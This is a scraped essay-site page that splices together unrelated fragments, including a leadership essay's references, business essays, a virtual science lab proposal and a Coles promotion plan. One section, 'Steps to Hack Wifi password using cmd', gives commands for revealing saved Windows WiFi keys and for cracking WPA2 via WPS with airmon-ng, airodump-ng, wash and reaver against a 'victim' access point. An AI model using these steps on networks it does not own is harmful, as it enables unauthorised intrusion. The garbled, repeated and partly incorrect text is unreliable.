employees. In addition, I can highlight the fact that engagement of the team members will reflect the organizational leaders to focus on the effective procedure, which is fitted for the business. Therefore, I think to make the democratic leadership style successful, cooperation and the communication is the key concepts of this type of leadership style. Moreover, it can be stated that democratic leaders of our organization encourage the input and the innovative team members. Creative designers succeed under the democratic leadership style. In order to improve the personal leadership, I think the leaders require to have clear vision regarding the objectives of the business. In this context, the leaders need to clearly explain the objectives to the followers, so that the mission of the objectives would be fulfilled. The leaders also require to identify the shortcomings within the organization, after that they need to mitigate it. In this context, I can suggest that the leaders can develop a strategic planning session and also need to ask for feedback about the working environment of the organization. On the other hand, it is necessary to motivate the morale and the values of the employees, so that the individual performance of the employees would increase. In this purpose, the leaders require to discuss with the employees, whether they are facing any problems or not. After identifying these, the leaders can solve the problems. On the other hand, I can also recommend that in order to meet the business goals, the leaders also require to develop an action plan. By follow this action plan; the leaders can complete the task within the proposed timeline and also with the help of the employees. The leaders also require to maintain a positive attitude within the organization, which is also helpful to motivate the employees in a right way. Lastly, I want to mention that the leaders need to get learning from the previous failures. This would help the leaders to improve their leadership and also improve their activities. Moreover, during the production process, the leaders and the other employees require to maintain honesty. The leaders also need to take new challenges as well as require to identify the core values of the business in order to make the business successful and also improve the personal development of the leaders. Reference Archbald, D., 2013. Vision and leadership: problem-based learning as a teaching tool.Journal of Leadership Education,12(2), pp.136-147. Arends, R., 2014.Learning to teach. McGraw-Hill Higher Education. Baskerville, Richard L., and A. Trevor Wood-Harper. "A critical perspective on action research as a method for information systems research." InEnacting Research Methods in Information Systems: Volume 2, pp. 169-190. Springer International Publishing, 2016. Bell, Judith.Doing Your Research Project: A guide for first-time researchers. McGraw-Hill Education (UK), 2014. Bellamy, Chris D. "Leadership and Crisis Management in Modern Organizations." (2015). Bryman, Alan, and Emma Bell.Business research methods. Oxford University Press, USA, 2015. Carmeli, A., Gelbard, R. and Reiter?Palmon, R., 2013. Leadership, creative problem?solving capacity, and creative performance: The importance of knowledge sharing.Human Resource Management,52(1), pp.95-121. Carmeli, Abraham, Donate, Mario J., and Jess D. Snchez de Pablo. "The role of knowledge-oriented leadership in knowledge management practices and innovation."Journal of Business Research68, no. 2 (2015): 360-370. Certo, S., 2015.Supervision: Concepts and skill-building. McGraw-Hill Higher Education. Cococollection.com. (2017).Coco Collection Home. [online] Available at: https://www.cococollection.com/ [Accessed 17 Mar. 2017]. Cummings, Thomas G., and Christopher G. Worley.Organization development and change. Cengage learning, 2014. Daft, Richard L.The leadership experience. Cengage Learning, 2014. Dinh, Jessica E., Robert G. Lord, William L. Gardner, Jeremy D. Meuser, Robert C. Liden, and Jinyu Hu. "Leadership theory and research in the new millennium: Current theoretical trends and changing perspectives."The Leadership Quarterly25, no. 1 (2014): 36-62. Donate, Mario J., and Jess D. Snchez de Pablo. "The role of knowledge-oriented leadership in knowledge management practices and innovation."Journal of Business Research68, no. 2 (2015): 360-370. DuBrin, A.J., 2015.Leadership: Research findings, practice, and skills. Nelson Education. Goetsch, D.L. and Davis, S.B., 2014.Quality management for organizational excellence. Upper Saddle River, NJ: pearson. Goetsch, David L., and Stanley B. Davis.Quality management for organizational excellence. Upper Saddle River, NJ: pearson, 2014. Herrmann, Daniel, and Jrg Felfe. "Effects of leadership style, creativity technique and personal initiative on employee creativity."British Journal of Management25, no. 2 (2014): 209-227. Hoch, Julia E. "Shared leadership and innovation: The role of vertical leadership and employee integrity."Journal of Business and Psychology28, no. 2 (2013): 159-174. Iqbal, N., S. Anwar, and N. Haider. "Effect of leadership style on employee performance."Arabian Journal of Business and Management Review5, no. 5 (2015). Marianne Tromp, Debbie, and Robert Jan Blomme. "Leadership style and negative work-home interference in the hospitality industry."International Journal of Contemporary Hospitality Management26, no. 1 (2014): 85-106. McDaniel, Carl D., and Roger H. Gates.Marketing Research Essentials 8th Edition. Wiley, 2013. Miner, John B.Organizational behavior 1: Essential theories of motivation and leadership. Routledge, 2015. Patten, Mildred L.Understanding research methods: An overview of the essentials. Routledge, 2016. Rahim, Ramita Abdul, Nor Fazalina Salleh, Sharifah Fazirah Syed Ahmad, and Raja Munirah Raja Mustapha. "Exploring the Relationship Between Leadership Style, Knowledge Management Practices, and Innovative Behavior." InProceedings of the Colloquium on Administrative Science and Technology, pp. 499-507. Springer Singapore, 2015. Rast III, David E., Michael A. Hogg, and Steffen R. Giessner. "Self-uncertainty and support for autocratic leadership."Self and Identity12, no. 6 (2013): 635-649. Ritchie, Jane, Jane Lewis, Carol McNaughton Nicholls, and Rachel Ormston, eds.Qualitative research practice: A guide for social science students and researchers. Sage, 2013. Roy Gelbard, and Roni Reiter?Palmon. "Leadership, creative problem?solving capacity, and creative performance: The importance of knowledge sharing."Human Resource Management52, no. 1 (2013): 95-121. Savery, John R. "Overview of problem-based learning: Definitions and distinctions."Essential readings in problem-based learning: Exploring and extending the legacy of Howard S. Barrows(2015): 5-15. Silverman, Bruce. "Econ 201-Statistical Methods." (2017). Tannenbaum, Robert, Irving Weschler, and Fred Massarik.Leadership and organization. Routledge, 2013. Thomas, Mark, and Jayanth Reddy Alluru. "Leadership Practices and Performance Within Network Alliances: Framing Sustainable Organizational Guidelines."International Leadership Journal8, no. 3 (2016). Zikmund, William G., Barry J. Babin, Jon C. Carr, and Mitch Griffin.Business research methods. Cengage Learning, 2013. [1] Rahim, Ramita Abdul, Nor Fazalina Salleh, Sharifah Fazirah Syed Ahmad, and Raja Munirah Raja Mustapha. "Exploring the Relationship Between Leadership Style, Knowledge Management Practices, and Innovative Behavior." InProceedings of the Colloquium on Administrative Science and Technology, pp. 499-507. Springer Singapore, 2015. [2] Thomas, Mark, and Jayanth Reddy Alluru. "Leadership Practices and Performance Within Network Alliances: Framing Sustainable Organizational Guidelines."International Leadership Journal8, no. 3 (2016). [3] Arends, R., 2014.Learning to teach. McGraw-Hill Higher Education [4] Bellamy, Chris D. "Leadership and Crisis Management in Modern Organizations." (2015). [5] DuBrin, A.J., 2015.Leadership: Research findings, practice, and skills. Nelson Education [6] Donate, Mario J., and Jess D. Snchez de Pablo. "The role of knowledge-oriented leadership in knowledge management practices and innovation."Journal of Business Research68, no. 2 (2015): 360-370. [7] Goetsch, D.L. and Davis, S.B., 2014.Quality management for organizational excellence. Upper Saddle River, NJ: pearson. [8] Goetsch, David L., and Stanley B. Davis.Quality management for organizational excellence. Upper Saddle River, NJ: pearson, 2014. [9] Certo, S., 2015.Supervision: Concepts and skill-building. McGraw-Hill Higher Education [10] Herrmann, Daniel, and Jrg Felfe. "Effects of leadership style, creativity technique and personal initiative on employee creativity."British Journal of Management25, no. 2 (2014): 209-227. [11] Miner, John B.Organizational behavior 1: Essential theories of motivation and leadership. Routledge, 2015. [12] Daft, Richard L.The leadership experience. Cengage Learning, 2014. [13] Miner, John B.Organizational behavior 1: Essential theories of motivation and leadership. Routledge, 2015. [14] Ritchie, Jane, Jane Lewis, Carol McNaughton Nicholls, and Rachel Ormston, eds.Qualitative research practice: A guide for social science students and researchers. Sage, 2013. [15] Bell, Judith.Doing Your Research Project: A guide for first-time researchers. McGraw-Hill Education (UK), 2014. [16] Carmeli, Abraham, Donate, Mario J., and Jess D. Snchez de Pablo. "The role of knowledge-oriented leadership in knowledge management practices and innovation."Journal of Business Research68, no. 2 (2015): 360-370. [17] Roy Gelbard, and Roni Reiter?Palmon. "Leadership, creative problem?solving capacity, and creative performance: The importance of knowledge sharing."Human Resource Management52, no. 1 (2013): 95-121. [18] Tannenbaum, Robert, Irving Weschler, and Fred Massarik.Leadership and organization. Routledge, 2013. [19] Cummings, Thomas G., and Christopher G. Worley.Organization development and change. Cengage learning, 2014 [20] Hoch, Julia E. "Shared leadership and innovation: The role of vertical leadership and employee integrity."Journal of Business and Psychology28, no. 2 (2013): 159-174. [21] Savery, John R. "Overview of problem-based learning: Definitions and distinctions."Essential readings in problem-based learning: Exploring and extending the legacy of Howard S. Barrows(2015): 5-15. [22] Baskerville, Richard L., and A. Trevor Wood-Harper. "A critical perspective on action research as a method for information systems research." InEnacting Research Methods in Information Systems: Volume 2, pp. 169-190. Springer International Publishing, 2016. [23] Dinh, Jessica E., Robert G. Lord, William L. Gardner, Jeremy D. Meuser, Robert C. Liden, and Jinyu Hu. "Leadership theory and research in the new millennium: Current theoretical trends and changing perspectives."The Leadership Quarterly25, no. 1 (2014): 36-62. [24] Rast III, David E., Michael A. Hogg, and Steffen R. Giessner. "Self-uncertainty and support for autocratic leadership."Self and Identity12, no. 6 (2013): 635-649. [25] Marianne Tromp, Debbie, and Robert Jan Blomme. "Leadership style and negative work-home interference in the hospitality industry."International Journal of Contemporary Hospitality Management26, no. 1 (2014): 85-106. [26] Silverman, Bruce. "Econ 201-Statistical Methods." (2017). [27] Iqbal, N., S. Anwar, and N. Haider. "Effect of leadership style on employee performance."Arabian Journal of Business and Management Review5, no. 5 (2015). [28] Zikmund, William G., Barry J. Babin, Jon C. Carr, and Mitch Griffin.Business research methods. Cengage Learning, 2013. [29] Bryman, Alan, and Emma Bell.Business research methods. Oxford University Press, USA, 2015. [30] Patten, Mildred L.Understanding research methods: An overview of the essentials. Routledge, 2016. [31] McDaniel, Carl D., and Roger H. Gates.Marketing Research Essentials 8th Edition. Wiley, 2013.

Steps to Hack Wifi password using cmd Essays - Wireless Networking

Steps to Hack Wifi password using cmd : 1: Open command prompt by going to start and click on run command or enter windows+r, then type cmd and hit Enter 2: In command prompt window, type netsh wlan show network mode=bssid 3: This command will show all the available WiFi network in your area 4: This is the last step. Just type : netsh wlan connect name=(wifi name ) netsh wlan connect name= e.g Myname Sata1 and you will be connected to that WiFi network. 5: To disconnect it, type netsh wlan disconnect Sources:Tech-Files: Mobiles, Troubleshooting, Tech news How to hack a wifi password? 1st: open COMMAND PROMPT 2nd: type WMIC 3rd: type QUIT 4th: type NETSH WLAN SHOW PROFILES 5th: choose a wifi server name 6th:type NETSH WLAN SHOW PROFILES wifi name 7th:type NETSH WLAN SHOW PROFILES wifi name key=clear Steps to Hack Wifi password using cmd: 1: Open command prompt by going to start and click on run command or enter windows+r, then type cmd and hit Enter 2: In command prompt window, type netsh wlan show network mode=bssid hack wifi password using cmd 3: This command will show all the available WiFi network in your area 4: This is the last step. Just type: netsh wlan connect name=(wifi name ) netsh wlan connect name=Mynet Sata1 and you will be connected to that WiFi network. 5: To disconnect it, type netsh wlan disconnect There are many other methods for exploiting a wifi to get its password. You can check them here. Also, note that these tutorials are for educational purpose only. To download WiFi hacking softwares, head to the download section. Tr5 Steps Wifi Hacking Cracking WPA2 Password: 1. Open our terminal (CTRL+ALT+T) and type airmon-ng (view tips and tricks how to create keyboard shortcut on kali linux) this command will lists our wireless card that attached with our system. 2. The next step we need to stop our wireless monitor mode by running airmon-ng stop wlan0 3. Now we ready to capture the wireless traffic around us. By running airodump-ng wlan0 our wireless interface will start capturing the data. From the picture above, we can see many available access point with all the information. In the green box is our victim access point which is my own access point Information: BSSID (Basic Service Set Identification): the MAC address of access point PWR: Signal level reported by the card. Beacons: Number of announcements packets sent by the AP #Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets. #/s: Number of data packets per second measure over the last 10 seconds. CH: Channel number (taken from beacon packets). MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. ENC: Encryption algorithm in use. CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2. AUTH: The authentication protocol used. ESSID: Shows the wireless network name. The so-called SSID, which can be empty if SSID hiding is activated. 4. From the step 3 above, we can find access point with encryption algorithm WPA2 and note the AP channel number. Now we will find out whether target AP has WPS enabled or not. wash -i wlan0 -c 8 -C -s if the WPS Locked status is No, then we ready to crack and move to step 5. 5. The last step is cracking the WPA2 password using reaver. reaver -i your_interface> -b wi-fi victim MAC address> fail-wait=360 Because we already get the information from step 3 above, so my command look like this: reaver -i wlan0 -b E0:05:C5:5A:26:94 fail-wait=360 it took about 5 hours to crack 19 characters WPA2 password (vishnuvalentino.com) from my Kali virtualBox, but it depend with our hardware and wireless card. ANDLYS WAY TO HACK WIFI Steps to Hack Wifi password using cmd : 1: Open command prompt by going to start and click on run command or enter windows+r, then type cmd and hit Enter 2: In command prompt window, type netsh wlan show network mode=bssid 3: This command will show all the available WiFi network in your area 4: This is the last step. Just type : netsh wlan connect name=(wifi name ) netsh wlan connect name=Mynet Sata1 and you will be connected to that WiFi network. 5: To disconnect it, type netsh wlan disconnect

Opinions on Corporate Social Responsibility A Perspective from Joseph Stiglitz

Euthanasia For life essays

Euthanasia For life essays In the magazine article entitled We Are Not Immune written by Ronald J. Glasser M.D. He discusses diseases, viruses and epidemics to Americans health. He argues that no matter what we do to prevent these sicknesses, we will never be immune. He also explains how the United States of America is not the best country for health care, contrary to popular belief. With all the money Americans spend on health care every year every one should be covered, but this is not the case in America. Meaning that the government is not doing enough to help its citizens. There are many things we can analysis in this lengthy article. The author is a doctor who is very knowledgeable on many aspects of medicine on people. He argues that the causes of illness in America are due to many factors. Not only are we to blame it is mostly the governments fault, for not giving accurate resources for its citizens to rely on. There are many premises the author of this article points out to the reader. 1. A public health system is only as strong as its weakest link. - Meaning that the health system is not as strong as we actually think it is. 2. Public-health departments across the country have never recovered from decades of cutbacks and downsizing. - The health system is still weak from tragedies. 3. Crytosporidium made its way to humans through runoffs from farmlands. - If we focused more of the causes we wouldnt need to focus on inventing a cure. I believe that the authors claims and evidence in this article is indeed very deductive and is producing an overall good argument on his points. Medical historians describe the last few decades as the age of the emerging plagues. Overpopulation, poverty, ecological devastation and of these factors conspire to create the conditions for unprecedented death by infectious disease (Glasser 1). I believe this quote is saying ...

Capstone Project- Project Structure Assignment Example | Topics and Well Written Essays - 1000 words

Capstone Project- Project Structure - Assignment Example Clear description of type of information dissemination, including details about the types of visual aids and verbal presentation or demonstration strategies to be used to interact with audience members ANY LATE SUBMISSION OF ASSIGNMENTS WILL RECEIVE A MAXIMUM GRADE REDUCED TO 50% AS LATE PENALTIES. THE LATE PENALTIES MAY BE AVOIDED BY COMMUNICATING WITH YOUR COACHES VIA EMAIL. LATE PENALTIES ARE NOT APPLICABLE IF THE STUDENT HAS MADE PRIOR ARRANGEMENTS FOR LATE SUBMISSION WITH THE COACHES. You will use the chart to describe the structure of your Capstone Project. This is similar to the information that Continuing Education providers must submit to medical or licensing agencies to offer sanctioned, for-credit sessions for nurses and other medical personnel. You have already submitted your draft Outcomes and Content topics, so you will need to copy those to this assignment, making improvements or changes as necessary. For this assignment, you must also include at least three peer-reviewed article citations for each outcome (minimum total of nine references). You may include references that are not from peer-reviewed journals, but be judicious in their use, and do not include those in your count of required articles. Moore, N., Traluch, K., & Cooper, B. (2008). Comparison of obesity rates in the United States. Oklahoma Nurse, 51(6), 11. Retrieved from http://libproxy.uta.edu:2066/login.aspx?direct=true&db=rzh&AN=2019581048&site=ehost-live Describe each visual aid, handout, and/or verbal presentation/demonstration strategy that your information dissemination would include. You may use the same strategies for each outcome, or you may â€Å"mix and match,† but provide some outline-level details for each outcome. Here are some of the types of visual aids you might use: Record the amount of time needed for each activity or part of your presentation. Include time for Q&A at the end of the presentation. Time refers to the time to

RESEARCH AND CRITIQUE Essay Example | Topics and Well Written Essays - 1750 words

RESEARCH AND CRITIQUE - Essay Example In managing a system such as this, the primary side of the IT infrastructure is through the use of the barcode system as it is used to create orders. Fortunately, the technology is readily available, so easily gained that any person can go out on the internet and create a bar code for this type of use. In using a virtual store environment to increase sales and diversify locations without the investment of stock, the management of such a system is minimally necessary and highly dependent on the available external systems of bar code creation and reading. IT Management The good news with creating a bar code system for a virtual outlet concept is that the costs are low and the management of the system is primarily concerned with the calculation of orders and the distribution of product. The application that is used for the system is a free download from a variety of resources for the consumer and the creation of bar codes can be done by anyone who has accessed to the internet and to a s ystem that allows for the complete functionality required. Horizontal service level agreements are created when a company uses an external resource for creating an integral part of their IT business model infrastructure. The problem that can come from a horizontal service agreement is that the service will be limited by the terms of the agreement and collaborative structures may not always be part of the agreed upon items that an external resource is willing to address (Beulan, Ribbers, and Roos. 2011). A company like Tesco uses internal resources in order to handle this side of the process. In creating a system in which sales and order calculations are integrated with inventory and distribution, the company is able to control their system and devote full attention to the issues that arise. On the other hand, a vertical agreement is made for application management. The service is offered on a per application basis is concerned with the whole process and is a much more amenable type of agreement (Beulan, Ribbers, and Roos. 2011). The nature of the agreements are made through this type of encompassing responsibility because an application will not work if the whole process is not attended, thus in this way, the external resources are using the same sort of theory that Tesco has designed, which is an internally controlled system that will work or will be worked on until it does work. This is good business as an application has no value if it does not work. In managing the IT infrastructure for a e-business model concept, a great number of pitfalls can occur. According to Sparrow (2003) the smartest way to manage IT infrastructure is to outsource the management of IT elements selectively. The management of specific parts of an IT system can be sold to different providers. Academic research has shown that the most successful businesses will have selective outsourcing strategies. Tactical outsourcing occurs when specific problems are beyond the capacity of internal resources to manage. Strategic sourcing occurs when a company looks for a designed package of resources from which to outsource their needs, creating the highest level of product for the lowest possible cost by using different sources for different aspects of the structure (Sparrow 2003). In sourcing is, however, almost universal as most businesses will retain some of their IT management in house. It is not always the most reasonable

NASA Essay Example | Topics and Well Written Essays - 1250 words

NASA - Essay Example NASA's primary activities or business activities start from inbound logistics then it moves to the operation side or production side (designing and development of shuttles, satellites, space stations, rockets, etc.) then it moves to delivery side or outbound logistics (shipping the completed products to the respective authorities usually another department of the administration) then finally enters into the feedback and product enhancement phase. NASA has already spent billions of dollars in its research and development program. NASA's annual R&D budget is more than many countries overall budget. The process of technology development is vital for any company to grow further and gain reputation in the market. Every company's success depends upon its people - how dedicated and qualified they are. Hiring of people in an organization like NASA is not an easy task. The organizational span of NASA is very big and they have to hire people from a peon level to a scientist level. NASA's infrastructure depends upon various tasks; it handles general management issues; accounting and finance department; affairs of government & legal issues; and other issues created or caused by other support and primary activities. Outsourcing has become very common through the globe; especially western counties like the U.S.A., Canada, and England want to outsource their work to reduce cost. Hundreds of industrial giants, including Microsoft, Cisco, and Intel have already outsourced their work to other countries to save billion of dollars. Opportunities to Outsource Globally - NASA Like any other organization, NASA also has opportunities for outsourcing its activities. There are many activities that NASA can easily outsource to other countries

Development of Interactive Science Learning Material

Development of Interactive Science Learning Material Firoz Hasan Project Objective Tab-Based Interactive Science Laboratory for school’s Students. The objective of this project is to use create an interactive science laboratory on the tab for the students in grade 3, 4, and 5 of the primary stage. The proposed application is supposed to help the students in such grades to implement and interact with the scientific experiments mentioned in their science books using augmented reality and graphics in a risk-free environment Problems Definition Being citizens of third world countries, It has been heard since very beginning of life that getting high marks in school will ensure future help in getting admission in faculties of universities that are of high demand. Moreover, it has been guaranteed with jobs after graduation. No scope for creativity, zero innovation invention. Most people only concentrated on official jobs but they don’t think about development and interact much with nature. It is said as proverb that learning in childhood is similar to stone inscription that’s hard to be erased. The problem is that people are motivated wrongly since childhood not knowing the main aim for education and learning. This is the main problem of third world countries that leads to the opposite direction of development. The problems remain as they were. The main aim for education and knowledge and learning is to use them properly to solve daily life problems, to have a better life by doing researches and make progress in natural science. In one word, to survive and live in this world it is obligatory to know about its nature and exploitation of it for existence. If children are motivated by this reason then there will be no excuses for aggravation. Moreover, interaction with nature is a great factor that can make big differences. As this application will be related to virtual lab interaction that satisfies the needs of the pupil of primary stage, so it is necessary to discuss about the importance of lab and lack of labs’ effect in Egypt. It’s proven scientifically that picture is the best way to memorize things. So lab is definitely the most suitable place to learn the most because everything here is real or can be seen. Moreover, as it has been mentioned before that anything learned in the beginning of childhood will be always remembered. For example, it’s seen that plant is guided by fences to grow it in one direction. So they grow up as strong rooted tree. Similar to plant , pupils of primary stage must be directed in this way. They must be given chances to attend lab in order to understand the natural science easily and in it’s way practically by interaction. So they will grow up as a well educated person. However, as Egypt is a third world country, labs can’t be provided in most schools because of lack of funding, intention etc. For that reason I am going to create virtual lab interaction application to help our primary stage’s pupils. So its time to figure out the reason of superiority of Western education. Motivation of Western Science Related Education Its superiority Western education is characterized by the right motivation for children with right direction and direct interaction with nature. It is said that necessity is the mother of invention. This proverb is well explained by Western education practically. For example, a person does something certain when he needs to do it or forced. If problems are on his way, then he thinks more creatively until he reaches to his destination. We as human beings work or solve our problems for only one purpose and that is our existence. Western education successfully penetrates through the logic of children with idea that you must or have to study or have enough education in natural science because of your survival. Moreover, with additional weapons such as lab for interaction with nature and creative stuffs that successfully encourages them to learn natural sciences. So Western (European) education leads its nation towards the path of continuous development. Previous Work Virtual lab interaction application is not a new idea to do projects on. There are many past projects that are presently in use by many research centers and universities. Followings are examples of projects that are widely used by many institutions. The Virtual Lab Series The Virtual Stickleback Evolution Lab has won several awards, including top honors in the Pirelli International Award competition, which recognizes it as the best multimedia products designed to use the Internet to educate about science and technology. BioInteractive’s series of virtual labs provides students with the opportunity to practice the skills and techniques of scientific research in a fully interactive, virtual environment. Virtual lab online Moreover, Virtual lab online applications is designed by Indian public universities under the governance of Ministry of Human Resource Development to support students and to ease the burden of problems. Solution Now it is obligatory to discuss about the proposed solution of problem. Before moving to the other points of analysis, its needed to conclude the point of problems or complains that because of poor education system that unsuccessfully delivers the aim or purpose of education, many students are forced to study subjects that are not in very need. Now, as it has been written previously that one of the main differences between two education systems is lab or interaction with the curriculum. The simple solution of our problem is building labs in schools. However, as this project is been done specifically about Egypt, this is almost impossible to be implanted. There are many reasons behind impossibility such as lack of funding in education field, lack of honest intentions etc. The main reason is the lack of honest intentions of government or in other words though it may have honest intentions, failure is always on their way because of implementation technique and future planning. Moreover, this is a long time process that can do nothing instantly for our problem. So its time to think for other alternatives. As in this part of project, the proposed solution is to create an Android application of virtual lab interaction. Virtual lab interaction application is where students of primary stage can do experiments on their Android tablets. Nowadays, tablets are in very affordable price and are very popular with middle class families. In very near future, tablets will be all over and in every one’s hand. Moreover, most of tablets are run by Android OS. So virtual lab interaction will be very useful to our students of primary stage. This application has many good features such as it’s environment is completely safe and doesn’t contain any hazardous or dangerous materials compared to real labs. Moreover, it’s user friendly interaction and easy movement of scientific materials eases the process of learning and saves time greatly compared to the real one. It’s must to be mentioned that I am going to add other features such as videos of experiments, puzzles and small quizzes. Moreover, whole the curriculum will be explained in very simple and organized way with animations and pictures and followed by small quizzes. Interactive Science Laboratory Description Properties This application is similar to portable lab. It’s the virtual lab for tablets to handle experiments, simulate analyze with different kind of lab tools. Virtual Reality In this application, it is possible to conduct real life experiments it enables the parallax effect from different angles so users will get experience like a real lab. Risk Free Conduct dangerous experiments without worrying about anything like breaking beakers or getting cut by broken glass. Deeper Learning Utilization different label helps to get the precise mass, temperature, thickness and volume of each substance in holders. Required Equipment Language : java Operating System : Android IDE : Eclipse , Android Studio Application Framework : libGDX Timetable indicating the activities and their target dates Activities Target Result Analysis Phase The Analysis Phase is where defines complete Strategical direction all over the tab-based interactive science laboratory project lifecycle break down high level project needs to more detailed requirements. Its required to gather requirements in this phase which simply asks at what is needed for this project. So analysis phase will identify gaps between reality and goals. Design Phase This design phase will identify architecture, blueprints how the application looks like. The design phase shows how those functions will actually be implemented in the system. This phase will utilize gathered information of analysis phase. This is the phase where identify what the application needs, how to use it, how much current idea of application needs to change based on requirements. In this tab-based interactive science laboratory project design phase is going to have scenario drawing of each experiments. It will explains every single details of each experiments, what will happen when users press button, how to interact with application etc. So its needed to be careful in design phase, as any flaw or error can lead a failure application. Implementation Phase After completing design phase its time to start implementation. So main focus of developing or actual coding will start in this phase. It will take the longest time in whole project. Basically for this tab-based interactive science laboratory application the core programming language will be java special development application framework called libGDX. libGDX uses some third-party libraries to provide its functionality, these include Lightweight Java Game Library,  OpenGL,  FreeType,  mpg123,  Vorbis, SoundTouch Audio Processing Library,  Box2D,  OpenAL, and  Kiss FFT etc. Testing Phase This phase provides information about quality of the application, ideally testing will exercise the system in all possible ways. It reveals bugs, detect flaws in application, identify logical error etc. The main goal is to evaluate the system as a whole, not its parts. Documentation Presentation Phase It is the final phase which is going to take approximately 3-4 weeks. Its needed to make presentation write dissertation 70 80 pages which should contain abstract, methodology, results, conclusion, references. Benefits Advantages No more lab required, just need a tablet. Risk free so learning process is fast fearless. Hands on experience so student learn by doing experiments. Every experiments add some new features with very interesting and user friendly interface a lot of multimedia. No complex setup or installation required. Every experiments is like scenario of a story so the student will never feel bored easy to understand. So this application teach them, help them in doing experiments , test their capabilities of doing scientific experiments. Generally student has School Book where they can only see experiments picture and imagine. External Book some extra exercise nothing more. School Lab limited time access not risk free environment. This application will implement the experiments more than once in a risk free environment, students are required to use them interactively learn the experiments by themselves, this application is going to test students capabilities through some exercises and quizs by this way it is possible to get all benefit without any disadvantages. At last it can be hoped expected that tab-based interactive science laboratory project can serve primary level students well students will get benefitted from this application. Reference Lists Chemical Reactions.Chemical Reactions. N.p., n.d. Web. 19 Dec. 2014.Retrieved from http://www.learningscience.org/psc3cchemrxs.htm And, Les.PHASE 7: TEST PHASE(n.d.): n. pag. Web.. Retrieved from http://doit.maryland.gov/SDLC/Documents/SDLC Phase 07 Integration and Test Phase Multiple Hardware.pdf Biochemistry and Molecular Biology EducationVolume 29, Issue 4, Article First Published Online: 10 OCT 2008.Development and Evaluation of Virtual Labs and Other Interactive Learning Tools.Retrieved from http://onlinelibrary.wiley.com/doi/10.1111/j.1539-3429.2001.tb00108.x/pdf Christou, Ioannis T., Thanassis Tiropanis, Sofia Tsekeridou, and Konstantinos Roussos. Grid-based Interactive Virtual Scientific Experiments for Distributed Virtual Communities.International Journal of Continuing Engineering Education and Life-Long Learning20.6 (2010):Retrieved from http://eprints.soton.ac.uk/265273/1/LGH-book-chapter.pdf KET Virtual Physics Labs.KET Virtual Physics Labs Blog Posts RSS. N.p., n.d. Web. 19 Dec. 2014.Retrieved from http://virtuallabs.ket.org/physics/ Lizard Evolution Virtual Lab | HHMIs BioInteractive.HHMI.org. N.p., n.d. Web. 19 Dec. 2014. Retrieved from http://www.hhmi.org/biointeractive/lizard-evolution-virtual-lab

Coles Sales Promotion Essay

Pacific managing director of Nielsen Consumer Group, saidâ€Å"It’s no surprise that consumers are increasingly concerned about their household budgets in response to such fluctuating economic conditions, and the cost-saving strategies currently being employed by consumers are likely to continue well into the year. †(Jessica Kennedy,2011)Due to the rising concern of the current unstable economic condition in Australia, the people have developed a tendency to save or spend only what is necessary. There is also a concern for the rising food and fuel prices and more and more people are looking for good deals and bargains for the basic necessities required to run a household. If this holds true to the working population then this will hold true even more to the student population in Australia who perhaps only have a part time job and live on a fixed budget. Market analysis: The student population contributes a lot to the economy of Australia. In 2008, the total tertiary student community in Melbourne was around 208,800 people and international tertiary student population numbering was at least 28,150 (Melbourne City Research, 2010). These numbers have steadily risen in the past years and will continue to do so. From this situation analysis, it can be derived that it would be a successful venture if fresh and frozen fruits and vegetables were offered at a discounted price by Coles to students in Melbourne for a limited period of time. And if the response is successful in Melbourne it can be an option to expand to other cities as well. Sales promotion pitch: Offering a 15% discount to students from the 1s of July to the 31st of July on all of Coles’ fresh and frozen fruits and vegetable line. SWOT analysis : Strengths:The current economic condition will help the response to a sale if it is held. It will attract the customers and increase revenue. It is also a healthy campaign as fruits and vegetables are being offered at a discount to students to encourage them to eat healthier and will boost the image of Coles. Weaknesses:The risk that the response may not be as enthusiastic as predicted from the target audience. Also that it is targeting a very specific segment of the market and that can be risky to the campaign if the response is not as predicted. Opportunities:The option to hold this sale every half year or more frequently if response is good and also in a larger number of cities. Threats: Competitors like Woolworths and Aldi may also put their items on sale to compete with Coles. Target Segment Demographics: Treating the market as heterogeneous, as all the people of Melbourne are not being targeted and they don’t have similar wants, the target profile for the campaign would look like the following : * Age|* Late teens and above| * Gender|* Male and female|Geographic area|* Melbourne| * Occupation|* Students| * Household size|* Living alone or with housemates| * Lifestyle and Habits|* Lives on a budget, tends to look forthe most reasonable prices, prioritizes saving andhas a slightly more healthy lifestyle. | The typical profile of the segment being targeted would be a College student who Lives alone or with housemates or in a dorm and who purchases their own groceries. Within the target audience there will be differen t views and attitudes about fruits and vegetables. The types of opinions are usually four in kind. They are: * The appreciators: will be the portion of the target market that like eating healthy and enjoy eating lots of fruits and vegetables. These people may be more health conscious and aware of the fact that fruits and vegetables are a very important part of the diet. â€Å" I love fruits and vegetables! They are a part of almost all of my meals for the day†* The acceptors: are the segment of students that eat a moderate amount of fruits and vegetables but also prefer meats and other food items.I like fruits and vegetables but I don’t like including them in all my meals, I prefer meat†* The resistors:this segment is not very fond of fruits and vegetables but eat them on occasion. â€Å"fruits and vegetables are ok but I would rather eat something else†* The rejecters: This portion of students is strongly against adding fruits or vegetables to their daily meals and would most definitely eat other foods ins tead. Insert refrence pg. 206 One of the purposes of the campaign is to try and get the percentage of the resistors and the rejecters to convert to either the acceptors or the appreciators. Time frame: The promotion will last for one month. Starting July 1st and ending July 31st. The duration chosen is during the offseason period where there are no big sales held otherwise. This will make it easier to persuade the target market to purchase their groceries at Coles as it will be cheaper to do so. It gives them an incentive to buy. 20 specimen subjects from Chisholm College that fit the target profile completed a survey about why they picked a particular store over another. Four fixed options were asked and the results were as follows: More than half, i. e 11 people out of 20, said that the main reason they choose a store was because of its low prices. 6 people said they choose a store according to how conveniently it’s located, 2 said it was because of loyalty to the store and 1 said because of good customer service. This further emphasizes the fact that if a sales promotion was held, the response would be enthusiastic and the campaign would be successful. Main Objective: * Increasing the sales of fresh, frozen and canned fruits and vegetables by 5 to 10 percent in the month of July. Initially only in Melbourne with an option to expand to other cities if the response is positive. Additional objectives: * Enhance customer loyalty * Create new customers * To reinforce brand advertising * Encouraging students to eat healthier Perception – achieve at least a 65% increase in awareness of the sales promotion in the firstweek Cognition – Achieve recall of discount period at Coles by at least 80% of the students in Melbourne Persuasion – Make the target audience want to go to Coles for their groceries rather than its competitors Emotion – Induce humor and fun through the advertisement Association – Associate Coles with the most reasonable prices and quality goods Behavior – Persuade at least 3% of the customers that shop at Woolworths, Aldi and other competitors to switch over to Coles Approach: The type of approach 